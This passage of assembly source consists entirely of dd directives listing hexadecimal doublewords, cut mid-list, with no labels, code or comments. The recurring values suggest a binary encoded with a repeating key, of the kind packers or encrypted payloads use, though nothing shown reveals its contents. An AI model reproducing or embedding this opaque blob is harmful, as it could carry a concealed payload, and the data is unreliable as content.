0A73D134Fh, 11321551h dd 88279469h, 54DB1566h, 3A321566h, 0C2FA8718h, 735168E5h dd 289B2EFAh, 0A9F2D5B2h, 333794E3h, 3163ED60h, 44321567h dd 426BDA67h, 0BFD1EFD8h, 6FB37335h, 7F5319C4h, 0B9762E3h dd 25B71A60h, 74321566h, 753390EDh, 0AD3D1344h, 1132156Ah dd 88349269h, 0C63D1566h, 22321566h, 0EECDAC37h, 471BEA99h dd 48B41A3Fh, 2D321566h, 113213EEh, 88B81A66h, 7F321566h dd 0B976EE3h, 5AB71A60h, 87321566h, 44321BE4h, 223BFC66h dd 6D991566h, 2337B491h, 0CF509F09h, 29D8E3h, 1CBE1A60h dd 61321566h, 4432156Eh, 0AD10D7ABh, 0D2554A89h, 0EFE1AE35h dd 87B33EDBh, 0F6708D48h, 7169CA67h, 7B43DFDFh, 46B61A56h dd 71321566h, 9409743Eh, 8E1BB019h, 44149069h, 0D7CA1566h dd 3ED390EDh, 61C71344h, 44321568h, 0CA673AADh, 0AF9Eh dd 0E8F871D4h, 0FE606DE5h, 22321567h, 0E968C267h, 2DB1905Dh dd 0C13D134Fh, 2232155Fh, 0DBB97306h, 0F1B79E07h, 0B1343760h dd 2F7DAC37h, 907346B0h, 91F2397h, 4CD3D45Fh, 0B833D4E7h dd 0DE33BDB9h, 883DFC3Fh, 2CE91566h, 68562759h, 0ED0F4034h dd 8B87B896h, 0C3B72EE8h, 2D343CC3h, 113250E3h, 883AFC66h dd 73831566h, 0F8523EE0h, 94B94C78h, 8E10028Fh, 44321E8Fh dd 0B7BCFF66h, 30713A8Fh, 965BE1E9h, 0BBCDAD36h, 0E51BEA99h dd 1126FC3Eh, 0E9841566h, 0DDDEBF4Bh, 0F79AE537h, 2690D06Ah dd 770BECA7h, 0BB396425h, 222B9169h, 973D1566h, 8832156Bh dd 8FB37306h, 0A13D1A92h, 11321566h, 654BFC07h, 7FCEEA99h dd 21D0E3h, 54B71A60h, 0E8321566h, 48ACD7D9h, 0AFCA7416h dd 3860FCE3h, 3547560h, 4426FCB8h, 870B1566h, 53D054D7h dd 31A10305h, 0BFB83B54h, 27BB4BE3h, 0F8539AE5h, 77CDF85Dh dd 44321A8Fh, 237C6266h, 0E677F89Eh, 0A1A6B916h, 1FDF0B20h dd 226F905Dh, 943D1344h, 8832153Bh, 442F9569h, 0CB521566h dd 11321572h, 0D6690ABDh, 8B2039E1h, 0D6410B12h, 36420D0Bh dd 0CE4D7843h, 0C753C2EDh, 0B96C6DBh, 943D1460h, 8832154Bh dd 4432198Fh, 69FF9766h, 1BFA66F4h, 0C3443B40h, 23B7988Bh dd 42324C6Dh, 11BD1A34h, 0D7321566h, 0A8F7FC07h, 0A53DEA99h dd 11321567h, 6BB72E93h, 4B343CC2h, 22323AE2h, 1120FC66h dd 77A51566h, 0AD08077h, 3AB3D9E0h, 0E2C0F2h, 25880026h dd 0E0D5905Dh, 0A73D134Fh, 11321579h, 89BE1A06h, 0BD321566h dd 43F09E00h, 0EEDE6B8Fh, 89BB1A99h, 0B8321566h, 0B915AA06h dd 405347C7h, 5D3614DFh, 0C5735C03h, 8C9EAA7h, 486C44FCh dd 89CC969Eh, 45219069h, 19CE1566h, 3896C2E3h, 0B2B71A60h dd 24321566h, 42E29E00h, 0F853749Ah, 88321561h, 4BC14CAFh dd 0AF8C9C3Fh, 49B5D1E3h, 89B51A66h, 0B1321566h, 0DDDE378Fh dd 0D3B37599h, 9D64F3B0h, 44349E69h, 0AF3D1566h, 11321566h dd 53B72E07h, 4B343CC2h, 223273E3h, 94BFE966h, 886A9D5Ch dd 443CFC06h, 0DC791566h, 0DF5BD1D7h, 72521ED4h, 0C8688244h dd 2232068Eh, 30EB8066h, 882FF0A3h, 0E30B84DFh, 0F6C54B3h dd 0A507FBB7h, 88321B8Eh, 0D3753B66h, 643FCC8Fh, 0CA9B65DCh dd 0D3C42247h, 22527438h, 2D8267DDh, 11321EE0h, 8834FC66h dd 0D1551566h, 2BD45D7Eh, 0FAAFFC07h, 0B3CAEA99h, 6D96CAE3h dd 6CB71A60h, 0E8321566h, 88389569h, 41DB1566h, 0E9321566h dd 0AA7C84B2h, 4D90EBh, 0BD52153Eh, 42FA9E06h, 0F8537407h dd 77CDFE0Dh, 44321B8Fh, 21B0366h, 0C5BFF1E7h, 39C46385h dd 0AD109D2Ah, 22321577h, 0DCF5731Ah, 0A9EB8058h, 442FF0A3h dd 850B84DFh, 15B945B3h, 8CF69442h, 24321566h, 8E09400h dd 0D7B3738Bh, 0DF53222Ch, 0C213000Eh, 0D5B34A0Ch, 7BB43471h dd 716DEBEFh, 0C13DE36Dh, 2232154Fh, 11321A8Fh, 0BA44A266h dd 9C9E6173h, 52CEA8C5h, 0DE99B01Dh, 77D8C08Fh, 4439FC99h dd 0A0ED1566h, 9113CF43h, 0F21E3A8Ah, 70B94501h, 26F69442h dd 0E4321566h, 88321F8Fh, 865C0766h, 7EC14DA3h, 986E5A4Eh dd 0AA35C8D3h, 51B01A60h, 0CB321566h, 11321576h, 0D6C0CEA2h dd 293EE8FEh, 0F317B6A6h, 7C5C82F0h, 932FA0EFh, 41DB1344h dd 45321566h, 7BF24BCCh, 87DB2BE6h, 4432DEE3h, 54CDEC66h dd 350E9E67h, 8836D1E7h, 0C4521566h, 7E894397h, 70647604h dd 0D82ED2E7h, 0ABB36397h, 16396E54h, 0D6B3E267h, 0BC396E54h dd 142EFAE7h, 31DB6397h, 6321566h, 0FA6B031Fh, 0F2E3D0F3h dd 7A720B25h, 3C2F7542h, 64B36A28h, 44321562h, 791621EFh dd 1132048Fh, 4D314F66h, 43EEBB19h, 0BFD4417Ah, 0D9FF432h dd 3567B39Ch, 6C2B74D2h, 47ACF8E7h, 0C4C5312Fh, 0D935F0A7h dd 5D47D8DFh, 7BFF347Eh, 25B2E0E7h, 63330D67h, 0AFB2753Bh dd 9F0974F7h, 171012BBh, 881A9769h, 50DB1566h, 12321566h dd 905964Bh, 8B27EE1Ch, 8B0BBC48h, 0F8B7FA73h, 2AC40BE7h dd 85B41A9Dh, 4B321566h, 223214ECh, 0B6DBE066h, 71CDEA8Fh dd 5F3BA8EDh, 0A63D1344h dd 1132156Ah, 88349269h, 0C13D1566h, 22321566h, 77F90A1h dd 88321344h, 0CE3D1566h, 22321573h, 0F8684606h, 8832156Ah dd 1F0238D1h, 316A708Fh, 86DD443h, 1C77507h, 662908D3h dd 2AB71A60h, 1E321566h, 883217E8h, 0C9537566h, 81AFDFBh dd 0D9B97560h, 745376D5h, 24CAC699h, 22321E8Fh, 97FCA066h dd 8712622Ah, 9C71CDAAh, 2DF21E07h, 113238E2h, 8826FC66h dd 0CDF81566h, 2E7873AFh, 0CE940A36h, 195BE404h, 0DEE8016Fh dd 85DB152Fh, 0F8321566h, 8832156Ch, 0D804E4BFh, 3CDF2C2h dd 8CBF3D55h, 8E15B0ADh, 44339369h, 0DDCB1566h, 91B11AB5h dd 74CDEA99h, 443FFC06h, 0CAA41566h, 7AEBCA45h, 0C49F47Ch dd 0C4483CE6h, 0A953F693h, 332908D3h, 8823FC60h, 0D8291566h dd 59F9B03Dh, 0FBF050D0h, 0D3EE17E4h, 0CDEB4683h, 2458D3h dd 923D7560h, 88321564h, 4BDB4B30h, 2D321566h, 87CB0120h dd 8B802349h, 5BA81DBBh, 0AF533E66h, 398A07FBh, 373D7560h dd 0E184ACA9h, 0CB530A14h, 11321575h, 2179473Eh, 0B73C6B3Ah dd 0E2428EDCh, 0FB547C2Ah, 77222B28h, 0C1B9EDB5h, 241012BBh dd 11249E69h, 70521566h, 4432188Eh, 0C83A5866h, 733AA0F6h dd 0EB9D4792h, 256D880Bh, 392F90EFh, 70521344h, 883BFC07h dd 98991566h, 0EC524A74h, 913B302Dh, 0D3DFD58h, 44321588h dd 2232128Fh, 0B05A8866h, 99DE77F6h, 62B3A8E5h, 2D321344h dd 1132C0E2h, 85B81A66h, 24321566h, 0FAD49400h, 11B11A0Eh dd 0E9321566h, 0F451A734h, 0A9E23D2Ah, 0D5B13172h, 6198E062h dd 44321572h, 0DC8F10ADh, 39FE6A55h, 5ADB339h, 1546DD8Bh dd 0A4D5C0A3h, 158D4230h, 0B96D7D3Eh, 1B36311Ah, 7A36203Eh dd 9B3D4A0Eh, 88321567h, 588F409Eh, 0B182905h, 0E91B488Eh dd 0B4510963h, 5AB91A4Ch, 2D321566h, 11320DEDh, 8821FC66h dd 0EDE11566h, 0DC6A2F72h, 153ECBC6h, 984F4BF7h, 72828599h dd 268847ABh, 38321566h, 0AC269EB6h, 4436D1E7h, 0A2521566h dd 1DDB4BBEh, 63321566h, 252BDBF8h, 0ACE19088h, 70C5387Ah dd 8822FCCDh, 0B1991566h, 0EE7B2B7Fh, 0A656F0B4h, 0D4AC5C76h dd 50DB1B83h, 42321564h, 41ABAB00h, 0C82823D9h, 0D9BF7472h dd 24181A76h, 113A9C69h, 87521566h, 443215E4h, 0F1CD7466h dd 9C53E906h, 0A2115AFBh, 5ABD1A60h, 42321566h, 8994AA00h dd 8832068Fh, 0BBF52D66h, 0DE3CE4A7h, 0E8E16BDDh, 0BD9C63EDh dd 78569912h, 0CBE1EA07h, 11321577h, 0CF566009h, 5D54735Bh dd 1571102Fh, 121803Eh, 87F21E53h, 443234E3h, 2238FC66h dd 586F1566h, 45E9C047h, 5213CDECh, 2232388Fh, 0AB547566h dd 3DA946h, 44321567h, 0A7B17493h, 17100E7Bh, 0F0DBEC63h dd 0ADCDEA98h, 22321568h, 0EC0971Ch, 4C51AD4Eh, 0BDC5F125h dd 0BFBF9801h, 17183006h, 4CE39406h, 4B4B3B8Eh, 223213E2h dd 11B51A66h, 0E9321566h, 4FCAC699h, 7B71AA6h, 0F8321566h dd 88321572h, 0E21DD38Dh, 0A3E19349h, 2743AEB3h, 7821607Ah dd 0C9EDE2FCh, 22323C8Fh, 0CDB27566h, 0E9CCA0FEh, 4436AA31h dd 0E0B31566h, 6F091D4Ch, 62B3EF67h, 3A091D4Ch, 22DBE039h dd 1E321567h, 883214EBh, 0D9BFE066h, 2415B0ADh, 11321E8Fh dd 5F845866h, 0CA4CC951h, 2ECF947h, 923DC699h, 88321548h dd 59879E9Ah, 0CB34377Dh, 1132156Eh, 43EA91F5h, 8DEBB8EAh dd 221F608Fh, 1122FC66h, 31511566h, 4D7D6E04h, 3522D02Ch dd 0BE63EB8Dh, 5B9EFCEh, 42100E7Bh, 22339D69h, 98CA1566h dd 0AA2908D3h, 0F33D7560h, 36EA94AFh, 7059B6B4h, 0FBC7FCE7h dd 0ADB35EC5h, 15BA02CDh, 0D0B3E44Fh, 0BFBA02CDh, 37C7D4E7h dd 0A5C75EC5h, 40E9E2BFh, 87694C35h, 44321DE2h, 20B91A66h dd 71321566h, 4EF49407h, 6D13A47Dh, 0FD8F40A8h, 0D0367C42h dd 6DB31083h, 8781E9Fh, 0D530F0A7h, 0A8C794B3h, 0A1DC5BADh dd 4CDB4888h, 0E1321566h, 0C19D1C7Ch, 0E87B760Dh, 0F46C4406h dd 0A35474F4h, 704E33B0h, 71CEB195h, 0BBCF038Fh, 23BD1A99h dd 0E4321566h, 8CB71A06h, 22321566h, 0A2DCB3DCh, 9C538E8Ah dd 0A08862FBh, 0FA547560h, 4253CFCDh, 1132068Fh, 48655266h dd 36AA088Bh, 90EC3BB8h, 0C95E389Dh, 0E8EB105h, 0DED9400h dd 0F1CD74ADh, 15B3429Fh, 0DC72EF42h, 0FA644D0Fh, 706F65BDh dd 141BDBE7h, 66F32236h, 8FC9462h, 0A359E26Fh, 0B2AC7088h dd 0D6C23C60h, 92B97306h, 22329569h, 3A531566h, 0AA291CE3h dd 0C1BBED60h, 24101B9Fh, 14B91A06h, 33321566h, 7C74B6A9h dd 2232018Eh, 7C1ECD66h, 6758A86h, 0F620144Eh, 4F70E901h dd 0D488E8C0h, 0D05375E6h, 4CBC1A07h, 2D321566h, 113217EBh dd 3537566h, 66291CE3h, 0E5AE960h, 98321530h, 93D315Ah dd 4432156Ah, 2232128Fh, 0D6F2A466h, 0D84988D1h, 0C5D09C34h dd 223211A4h, 15D89666h, 0D41601E1h, 241611EFh, 22321B8Fh dd 21780766h, 4F2E5D98h, 0B42D1F75h, 43DF1850h, 0AC3A98EBh dd 77CB134Eh, 0FD52EDB7h, 3AFDD406h, 11319869h, 4BB21566h dd 0C1B9741Fh, 2410242Fh, 113A9B69h, 87521566h, 443215E7h dd 0AB677466h, 15F79483h, 0B321566h, 68B5118Bh, 26BB4942h dd 5DB7542h, 6A321566h, 9BAC1F76h, 5042888Ch, 8501F800h dd 0C3702FE0h, 0FECBAFDFh, 7E0CD45Dh, 0F4BB4007h, 8836D0E7h dd 0A9B11566h, 61E9262h, 350E9C3Ah, 8832018Fh, 1FD17266h dd 39EA2174h, 7A196A0Eh, 1775739Ah, 31AFF402h, 2BB51A6Ch dd 71321566h, 65C59400h, 25CB9E05h, 393B90EDh, 1CDB1344h dd 3B321566h, 0D26CDD51h, 6CA6CE50h, 0A05186E6h, 8804F40Eh dd 60369C66h, 0CBF989Ah, 0E9343DD8h, 8FDBC499h, 5F321566h dd 0BFC4DFCCh, 9A620242h, 4CB33172h, 44321562h, 3FD49406h dd 9A091BB6h, 1657496h, 40B342A1h, 2E1B5842h, 0F8B34C08h dd 0E63E3C2Bh, 4AB61A39h, 42321566h, 11329169h, 83D1566h dd 44321566h, 6BBF3E07h, 0E9343757h, 8B27A8E5h, 4B321344h dd 22328AE2h, 0AE547566h, 353C2FBh, 662A9CE3h, 2238FC60h dd 0F311566h, 9F83D6E6h, 8496B2F4h, 2127904Dh, 1DDB1344h dd 5E321566h, 0F21C7393h, 95FE6914h, 2AF7816Eh, 0EDB41AA7h dd 0BC321566h, 342B90EDh, 1EDB1344h, 55321566h, 0AFDEE91Fh dd 342375Bh, 0F86345D8h, 0D31FDA5h, 42101673h, 223B9969h dd 90521566h, 7BE789A7h, 0CD53ED11h, 1BB0E3h, 953DE960h dd 88321570h, 4432048Fh, 9CA40366h, 584FB419h, 0BDAF3467h dd 54649C47h, 0F2DBA278h, 1E321567h, 883212EEh, 45B71A66h dd 0D7321566h, 90D19C35h, 883211A5h, 40D99666h, 7E1609E1h dd 711619EFh, 88209369h, 49DB1566h, 2D321566h, 46B11822h dd 0B0FCDA6Ah, 23D6A681h, 3C5A749Ah, 9832152Fh, 0E86A316Ah dd 25B6C4E6h, 2233A833h, 0F91B1566h, 8834FC3Bh, 0B2B61566h dd 781F0481h, 1ECDA833h, 603B1566h, 0C71639EDh, 2DDB11A2h dd 0E6321566h, 49A9A499h, 0CB12E293h, 4EF3C9Bh, 943DF559h dd 88321567h, 458C439Ah, 23321566h, 1DDB4B96h, 0A3321566h dd 7FC7E825h, 52B2E0C6h, 71968DD9h, 698A739Fh, 0C1BB7404h dd 24100DEFh, 11339269h, 89CB1566h, 662330E3h, 0E5CEE960h dd 333100E3h, 88321560h, 48B61A66h, 0CB321566h, 11321561h dd 0B1996A8Eh, 2E0317CFh, 2239FC26h, 99D11566h, 267D1F85h dd 0E69D7E4Ah, 32327DAFh dd 913D1566h, 88321567h, 44977D93h, 2EBB1566h, 113AFC42h dd 29231566h, 8F38E2B9h, 445294B0h, 7B53E2EDh, 93BB1A66h dd 24321566h, 10F0AE00h, 11321A8Eh, 4F2A566h, 1A9872F6h dd 23FB7FA6h, 8927AC7h, 1DCD7439h, 42100E3Fh, 22219F69h dd 1FDB1566h, 88321566h, 75E5F593h, 0E9C08354h, 4AE8A238h dd 0C9A7EA2Dh, 4B343768h, 223218E6h, 113AFC66h, 9CFC1566h dd 0CE23AF47h, 0ABCB1872h, 33240CE3h, 883DFC60h, 675D1566h dd 25C4F172h, 5B6E2060h, 9FBB65BCh, 0E1B79CBCh, 4234374Fh dd 75DC9400h, 9CDB758Fh, 0B0321566h, 0FA47AEAFh, 8909D894h dd 541D0956h, 76254450h, 44E24D6Ah, 70D1B8D9h, 0AC3E9E07h dd 0C5D09C34h, 223211A4h, 15F09666h, 0D41601E1h, 4432138Fh dd 366B3566h, 0EEAB18CCh, 0AA1BB0D3h, 4426FC60h, 0D7F91566h dd 27C0165Fh, 1CA51979h, 0CA99AB4Ch, 0C6D960E2h, 0A4CD5739h dd 8E10242Fh, 0BC851A06h, 0A4AEAE00h, 113FFC07h, 0B4371566h dd 903D2D40h, 658D5003h, 47838688h, 4EB3F3EFh, 44321562h dd 0A536FBE5h, 986E3152h, 0EE52315Ah, 4BEDD1D8h, 223213E3h dd 11B71A66h, 0E9321566h, 5F3BA099h, 0A23D1344h, 1132156Bh dd 88B11A06h, 0FB321566h, 3D4D63CAh, 10B81A07h, 74321566h dd 930D90EBh, 0CA52134Eh, 11321576h, 9C2DDB0Ah, 49610CE6h dd 98307DCEh, 6F76FF92h, 0D7D5AE00h, 978D1A3Ch, 2DE2EA07h dd 11321FE1h, 8837FC66h, 0CFD01566h, 0CBCF48E7h, 11321577h dd 2ED1D1E5h, 845B7B7Dh, 0E30A7A9h, 79C9DA19h, 9DBF1439h dd 0AD343765h, 2232156Ch, 2E8E9E69h, 0DDD11C40h, 0CFCA58A2h dd 1BB0DBh, 0A4B9ED60h, 8E10242Fh, 4432068Fh, 0B4038666h dd 8223C051h, 941CB984h, 0DE11A0ABh, 15936CFEh, 1E52B195h dd 0A3DCDD1h, 44321563h, 0E83441DCh, 0A4B97410h, 8E10207Fh dd 44321C8Fh, 79E40066h, 400B56E1h, 619FE7F6h, 44321561h dd 0C9221C13h, 40F7D317h, 77CDE9DFh, 17C31499h, 223215DDh dd 4A2B9C66h, 373D753Fh, 443BFC9Dh, 1BB21566h, 1CC5CD06h dd 0E999D242h, 41F2D49Ah, 2232068Fh, 0F4630166h, 0D54E8C47h dd 1312FAACh, 0E7227C5h, 20AD2F53h, 81FAA833h, 0C5777761h dd 0A917E6ABh, 16D7D40Eh, 3260C091h, 31B85C9Eh, 0DB84D7E7h dd 0C433A1FBh, 48C7943Ch, 45CE32D1h, 0A952488Eh, 1123FC9Fh dd 38021566h, 83AD75F0h, 218B379Ah, 0B5F01214h, 0E915B59Bh dd 55BF9065h, 0A9CB1344h, 331BB0EBh, 3260E060h, 44321566h dd 28BBD767h, 901601EDh, 883211A2h, 4B9FE066h, 223201E6h dd 16DB7566h, 0C8321566h, 0A795F23Ah, 0AF3DA07Dh, 11321566h dd 31634507h, 3CB8550Eh, 0E56BDDEFh, 515AE920h, 0CE1B6DECh dd 0C03D4D9Ah, 2232156Ah, 1132128Fh, 1EA3F966h, 7DA95C31h dd 172BA0EFh, 92CA1344h, 0D3DEA9Eh, 443215E1h, 2232108Fh dd 0A43A3B66h, 0B6B31996h, 99EFC8BBh, 22439069h, 2DB1566h dd 0F8321566h, 0C1BED64Bh, 5D7664BFh, 0AA1D84F1h, 0B41E0C05h dd 0FD63D6F9h, 3F7540EFh, 44BBAF34h, 9EBB0821h, 1D3C3C3Ch dd 23BF1A93h, 0E4321566h, 8C8C4331h, 0CD321566h, 0DC334B91h dd 19B91A39h, 87321566h, 443217EFh, 0AB537566h, 33070CD3h dd 4ADBE060h, 0ADCDEAB5h, 22321575h, 0C5B4B302h, 7B31DD04h dd 0B015BFFh, 6FA5DED7h, 0D0A7843Bh, 7DC716A6h, 55BF9065h dd 0AA3D1344h, 11321567h, 0FD8F969Eh, 45343763h, 26139169h dd 9E3D1566h, 88321561h, 44339669h, 0A3CB1566h, 0BB98BF58h dd 3FB71ACCh, 0AD321566h, 22321576h, 90378235h, 9A0B7771h dd 999F3DBCh, 0FE524864h, 11367D36h, 896A1566h, 14CE4DA0h dd 1B5E7D34h, 906844B2h, 8543F784h, 6CD8940Dh, 0ABF4104Eh dd 57F54FB6h, 88C4DD9Ah, 0B87414E3h, 2DB41A3Eh, 71321566h dd 88321D8Fh, 0E8AA2266h, 9E07F31Ah, 19DB74C7h, 22321566h dd 0D18DB6B4h, 134F9AC6h, 20F5249Eh, 8835FC9Eh, 2F631566h dd 0DD442FB4h, 41844780h, 0DB30F3A6h, 87B270D5h, 79EC3D94h dd 0E868E5EEh, 0C0887306h, 3DDB7476h, 2D321566h, 113214E4h dd 3DE966h, 44321570h, 2232048Fh, 0AA399E66h, 0DA555DF9h dd 207AC356h, 0D0BCA48Eh, 906258B5h, 8832118Ah, 600E9C66h dd 44524A3Eh, 0BDDCE6E7h, 88279E69h, 4BDA1566h, 33321566h dd 0B0E2D06Ch, 13AD918Eh, 507A7341h, 436CFDADh, 91C4A037h dd 60BAA6A3h, 48C2113Fh, 2696211Ch, 1120FCEFh, 0C5061566h dd 6728486Ah, 32B44F37h, 90C1388h, 0C8BE85CDh, 0C5D59C31h dd 223211A1h, 15DD9466h, 0F321566h, 0CD6E315Ah, 0A1CE3162h dd 331698DBh, 0C3D1460h, 443214D4h, 3688479Eh, 90558827h dd 20264E94h, 9EC55703h, 5EECDFE7h, 0E3B31651h, 77CDEA98h dd 50B9C5EFh, 26F69642h, 11321C8Fh, 0DB612266h, 0E18A6FC9h dd 2BDB35ECh, 15321566h, 1A1339Fh, 0A6BC3446h, 86DDA8E5h dd 1E32134Fh, 88324EE2h, 0C5547566h, 2DF80B8Ch, 113214E8h dd 553ED66h, 6CD9ABFBh, 2FB51A60h, 0F8321566h, 8832156Eh dd 46F82BCEh, 5EE4A932h, 11321A8Fh, 2BAD166h, 4D2BD53h dd 53603B6Ch, 1FD38269h, 8752C699h, 443207E9h, 223EFD66h dd 0C5EF1566h, 57740D95h, 8E7A19A4h, 4468AC8Ah, 706CBAD8h dd 87A22AE6h, 443274E2h, 28BA1A66h, 71321566h, 5FB37406h dd 7EB79A34h, 96527507h, 1137FCFFh, 70D81566h, 2563BDEAh dd 278A4507h, 10321566h, 0AC369EA1h, 4436D1E7h, 0A33D1566h dd 11321569h, 88321F8Fh, 0A673A466h, 0B1247624h, 0F81C27DFh dd 883214BDh, 44229A69h, 29DB1566h, 0C5321566h, 0BE86DA34h dd 0A60F3EFFh, 0DAB1A340h, 86B01A36h, 61321566h, 4432156Ah dd 1919FAFDh, 0AFD52828h, 0CBB61938h, 0C461A235h, 0DABAD689h dd 921609EDh, 43D11A2h, 44321567h, 0AF3DBF9Eh, 1132157Eh dd 8832068Fh, 730A6B66h, 7D5618D1h, 0CD2899A4h, 1726055h dd 687CDD21h, 7A162199h, 1136D1E7h, 87521566h, 443216EEh dd 8CD19566h, 11309469h, 0D3651566h, 2498E907h, 2232068Fh dd 0E8418C66h, 81FA1D8Dh, 1B8CE36Bh, 2436BE1Ah, 28989D82h dd 61534B36h, 443215A2h, 223E9169h, 983D1566h, 88321560h dd 44329A69h, 16CD1566h, 0D5B14D42h, 883CFC62h, 0D3511566h dd 23CD1273h, 42D0059h, 8FD6B19h, 443EFCCCh, 39E81566h dd 72C78004h, 0C3086C95h, 4DDBC737h, 12321566h, 83E71B2Eh dd 2ECE30Bh, 0ADCD6AE6h, 225C9069h, 16DB1566h, 46321566h dd 67EE7F23h, 9FB1D5D5h, 171BB189h, 0CBB61A66h, 4B321566h dd 22321DE4h, 13BF1A66h, 0E8321566h, 0F6AF9807h, 0D7343D8Ch dd 1E52C699h, 883216E8h, 0BA851A66h, 0BDDE9534h, 0F8527439h dd 88321575h, 3E9C206Eh, 4A239DD7h, 523A963h, 0B681F444h dd 0CFB29EC5h, 0B05A74A5h, 9832154Eh, 4FBA317Ah, 1F366AEEh dd 43DFA206h, 389790EDh, 8DDB1344h, 0D8321566h, 31AD5948h dd 7A1AAA31h, 70335868h, 69CA3C39h, 6F3C7E4Eh, 11339A69h dd 0E0CE1566h, 4432343Fh, 9D1629EFh, 11321562h, 0E86DED4Fh dd 4432078Fh, 1D1DC066h, 0BE305215h, 810BDE35h, 5938CC6Ah dd 44F5EFF9h, 7E34D4E7h, 53DBE07h, 44321571h, 22239369h dd 1DDB1566h, 91321566h, 452F398Eh, 433C29CBh, 0BC6B5F33h dd 7474D29Ah, 4804652Eh, 0E3CE4B91h, 963AE900h, 0F7FE908h dd 2CDE908h, 0DE74949Ah dd 27425D66h, 8832188Fh, 0C812EB66h, 0D0F17E16h, 86F8C090h dd 79DB9954h, 4BCDEA9Ch, 223200E1h, 1EB51A66h, 61321566h dd 4432156Ch, 84B95C01h, 0A8B64795h, 3DBB42EBh, 4210207Fh dd 2232108Fh, 5666DE66h, 165154Bh, 40F59481h, 0A1321566h dd 2DB51189h, 9CBB4942h, 1C607542h, 2D537506h, 7053C4D1h dd 88B2150Eh, 4421FC66h, 48ED1566h, 0A955AB28h, 17982BEEh dd 1DD608C7h, 7730B066h, 0ED327F8Bh, 8AC3A099h, 0BBCA1344h dd 2C74F3h, 10B21A60h, 70321566h, 1E162199h, 0CB36D1E5h dd 11321577h, 0B2C61FA0h, 0CC3265Eh, 86854D5Fh, 92723AF6h dd 85B01AFEh, 0AD321566h, 2232156Eh, 9C73D7B4h, 0B82A3889h dd 65C398EDh, 44521344h, 1E33B7DEh, 883217EDh, 25537566h dd 2232AE35h, 0DA331566h, 883216A1h, 58B91566h, 26F69442h dd 0F8321566h, 8832156Fh, 0D21104E3h, 0A4C663C7h, 0AE6543FCh dd 0B78A0F3Bh, 0FC2874D8h, 7DCC3C59h, 716CE467h, 88379669h dd 0C5541566h, 2D918C96h, 113216E0h, 0B0E69566h, 0B5BF9C07h dd 0CB343747h, 1132156Dh, 0F2267C1Ch, 26D837D9h, 0CB7E88E8h dd 0EECDD38Dh, 88339269h, 0ADCA1566h, 22323F90h, 9ACE7593h dd 0AA13E4EBh, 0FC62E060h, 22321566h, 21CDDD67h, 1CE4D3Fh dd 6D96FEEBh, 2235FC60h, 40AA1566h, 943E2307h, 0A0A940Dh dd 2D7E5132h, 113268E3h, 954E066h, 6A7E111Eh, 22429069h dd 0EDCA1566h, 0AC369436h, 145D616Ah, 2E8B4438h, 38627A12h dd 0E3D4CA8h, 44321571h, 2DDBED06h, 20321566h, 0FFDA6F19h dd 2C24032Ah, 7C5F9FB6h, 4153D007h, 883213DEh, 9BDC9466h dd 230A7049h, 0CEF494A0h, 0D00A7049h, 0C5547506h, 430F80BDh dd 4B79E07h, 74343766h, 4437788Fh, 223DFC66h, 48EF1566h dd 676C2649h, 82C31C92h, 1BB6C723h, 895AECBAh, 132157Eh dd 40B33162h, 4206FD42h, 0FFB34B42h, 0AC52218Eh, 51B01A06h dd 0CA321566h, 11321569h, 0AF53027h, 9041EB9Bh, 9BCA28DFh dd 4AB1963Fh, 88321C8Eh, 0EDF5266h, 0A2215027h, 0AE3DE388h dd 9534C9Fh, 4432118Ah, 6369C66h, 18DB753Ch, 94321566h dd 2FD98715h, 0AF2B95Ah, 0EDC29E06h, 41037407h, 44249469h dd 33DB1566h, 13321566h, 90F6CF60h, 737B1E27h, 6FC04DE8h dd 0BC0D1C6Ch, 880EEDCAh, 45A19169h, 0A03D1566h, 11321560h dd 0DB537506h, 690E743Eh, 0DDD09169h, 7752EA99h, 60BB42DCh dd 4432156Bh, 0B4EB0D4h, 6CA01038h, 8CDC6B5Ah, 8FB9737Dh dd 0C0E743Ch, 11DB9169h, 9ADB1566h, 8F321566h, 0D81209F5h dd 0B019D884h, 0A6A02917h, 6B47854Ch, 2D022939h, 113752E4h dd 9CB31A66h, 0AD321566h, 22321569h, 4C551CA4h, 90F02695h dd 930FEB79h, 1E019E82h, 6CB41A5Fh, 0E8CDEA99h, 24C6DDE6h dd 0A392C6E6h, 63F75D89h, 0B453740Fh, 49B01A27h, 42321563h dd 4368E6E7h, 918647CBh, 4B682907h, 0DDCD46E0h, 0CCB87599h dd 0E9C0AA69h, 0C5547506h, 73943AA7h, 2D53743Fh, 0B1B61A39h dd 4BCDEA99h, 223213ECh, 4E617566h, 0B4537406h, 89B01A07h dd 0D7321562h, 973D6F5Ah, 77CDEA7Ah, 4423FC06h, 0D39A1566h dd 34A26F31h, 1F273286h, 75642D81h, 438EA885h, 113C9A69h dd 81DB1566h, 0C5321566h, 6DEEA316h, 0F7AAB486h, 8836868Fh dd 4423FC66h, 0D9BB1566h, 201E6934h, 9975C9Fh, 8B41B2D1h dd 741F13C9h, 113214D8h, 0D6C01466h, 4432108Fh, 5716DE66h dd 0E30B57EDh, 8C509169h, 14CA1566h, 223214DEh, 49F03C66h dd 88249669h, 0C83D1566h, 22321576h, 11321E8Fh, 9B83F266h dd 0F757C72Ah, 4FE6804h, 11339F69h, 0DDCE1566h, 443214DBh dd 7FDB1466h, 11321D8Fh, 0D49DD066h, 60D586E2h, 0DC40FCB7h dd 1BDBEA99h, 43321566h, 9BB7778Dh, 3EEA8A6Dh, 1EFB9051h dd 883616E2h, 0F1BFEC66h, 2410125Fh, 90544406h, 0D668C2ACh dd 4432048Eh, 37A12766h, 22F2C86Dh, 0A2E61BFFh, 0C32BD918h dd 0CDB3E0C7h, 368EC6DFh, 64B1743Fh, 60269C62h, 0FE1621E7h dd 483D512Ah, 0C4EEE4E7h, 0C13D1A22h, 22321567h, 17537D9Ah dd 9CBB1566h, 60069442h, 3B3A400Ch, 7BC59439h, 702B1D33h dd 4432108Fh, 0FC4A3B66h, 0A261FD32h, 55BA4448h, 1F6BFDEEh dd 0DF47BB9Eh, 11339069h, 87C71566h, 443210EFh, 0A9547566h dd 0AA6174A8h, 8B275515h, 6D69CC4Fh, 51F3949Fh, 1E310026h dd 88321DEEh, 0FA547566h, 0EDB80E96h, 11327D07h, 841B1566h dd 603E9E42h, 0DA36D1E5h, 686CD2E7h, 471B108Eh, 3D6CAB30h dd 0D51B108Eh, 0B45AED38h, 132150Fh, 1B64315Ah, 24B71A38h dd 71321566h, 0D362FDD7h, 49DB7507h, 44321566h, 509A09FDh dd 727A095Dh, 0E7B0301Ch, 43E4A269h, 1E52B195h, 883216E0h dd 8BB97366h, 2DD99406h, 0F973556Fh, 88321577h, 